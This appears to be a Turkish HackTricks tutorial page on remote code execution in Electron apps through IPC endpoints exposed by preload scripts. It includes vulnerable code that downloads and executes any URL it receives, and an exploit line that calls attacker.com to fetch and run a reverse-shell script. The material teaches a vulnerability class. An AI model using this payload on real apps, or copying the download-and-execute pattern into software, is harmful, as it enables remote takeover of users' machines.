Electron contextIsolation RCE via IPC
Reading time: 3 minutes
tip
AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)
HackTricks'i Destekleyin
- abonelik planlarını kontrol edin!
- Bize katılın 💬 Discord grubuna veya telegram grubuna veya bizi takip edin Twitter'da 🐦 @hacktricks_live.
- Hacking ipuçlarını paylaşın, HackTricks ve HackTricks Cloud github reposuna PR göndererek.
Eğer preload script'i main.js dosyasından bir IPC uç noktası açıyorsa, renderer süreci buna erişebilecek ve eğer savunmasızsa, bir RCE mümkün olabilir.
Bu örneklerin çoğu buradan alındı https://www.youtube.com/watch?v=xILfQGkLXQo. Daha fazla bilgi için videoyu kontrol edin.
Örnek 0
https://speakerdeck.com/masatokinugawa/how-i-hacked-microsoft-teams-and-got-150000-dollars-in-pwn2own?slide=21 adresinden bir örnek (bu slaytlarda MS Teams'in XSS'den RCE'ye nasıl istismar edildiğine dair tam örneği bulabilirsiniz, bu sadece çok temel bir örnektir):
Örnek 1
main.js
'in getUpdate
üzerinde nasıl dinlediğini ve geçilen herhangi bir URL'yi indirdiğini ve çalıştırdığını kontrol edin.
Ayrıca preload.js
'in ana süreçten herhangi bir IPC olayını nasıl açtığını kontrol edin.
// Part of code of main.js
ipcMain.on("getUpdate", (event, url) => {
console.log("getUpdate: " + url)
mainWindow.webContents.downloadURL(url)
mainWindow.download_url = url
})
mainWindow.webContents.session.on(
"will-download",
(event, item, webContents) => {
console.log("downloads path=" + app.getPath("downloads"))
console.log("mainWindow.download_url=" + mainWindow.download_url)
url_parts = mainWindow.download_url.split("/")
filename = url_parts[url_parts.length - 1]
mainWindow.downloadPath = app.getPath("downloads") + "/" + filename
console.log("downloadPath=" + mainWindow.downloadPath)
// Set the save path, making Electron not to prompt a save dialog.
item.setSavePath(mainWindow.downloadPath)
item.on("updated", (event, state) => {
if (state === "interrupted") {
console.log("Download is interrupted but can be resumed")
} else if (state === "progressing") {
if (item.isPaused()) console.log("Download is paused")
else console.log(`Received bytes: ${item.getReceivedBytes()}`)
}
})
item.once("done", (event, state) => {
if (state === "completed") {
console.log("Download successful, running update")
fs.chmodSync(mainWindow.downloadPath, 0755)
var child = require("child_process").execFile
child(mainWindow.downloadPath, function (err, data) {
if (err) {
console.error(err)
return
}
console.log(data.toString())
})
} else console.log(`Download failed: ${state}`)
})
}
)
// Part of code of preload.js
window.electronSend = (event, data) => {
ipcRenderer.send(event, data)
}
Sömürü:
<script>
electronSend("getUpdate", "https://attacker.com/path/to/revshell.sh")
</script>
Örnek 2
Eğer preload script, renderer'a shell.openExternal
çağırma yolunu doğrudan açıyorsa, RCE elde etmek mümkündür.
// Part of preload.js code
window.electronOpenInBrowser = (url) => {
shell.openExternal(url)
}
Örnek 3
Preload script'i ana işlemle tamamen iletişim kurma yollarını açıyorsa, bir XSS herhangi bir olayı gönderebilir. Bunun etkisi, ana işlemin IPC açısından neleri açtığına bağlıdır.
window.electronListen = (event, cb) => {
ipcRenderer.on(event, cb)
}
window.electronSend = (event, data) => {
ipcRenderer.send(event, data)
}
tip
AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)
HackTricks'i Destekleyin
- abonelik planlarını kontrol edin!
- Bize katılın 💬 Discord grubuna veya telegram grubuna veya bizi takip edin Twitter'da 🐦 @hacktricks_live.
- Hacking ipuçlarını paylaşın, HackTricks ve HackTricks Cloud github reposuna PR göndererek.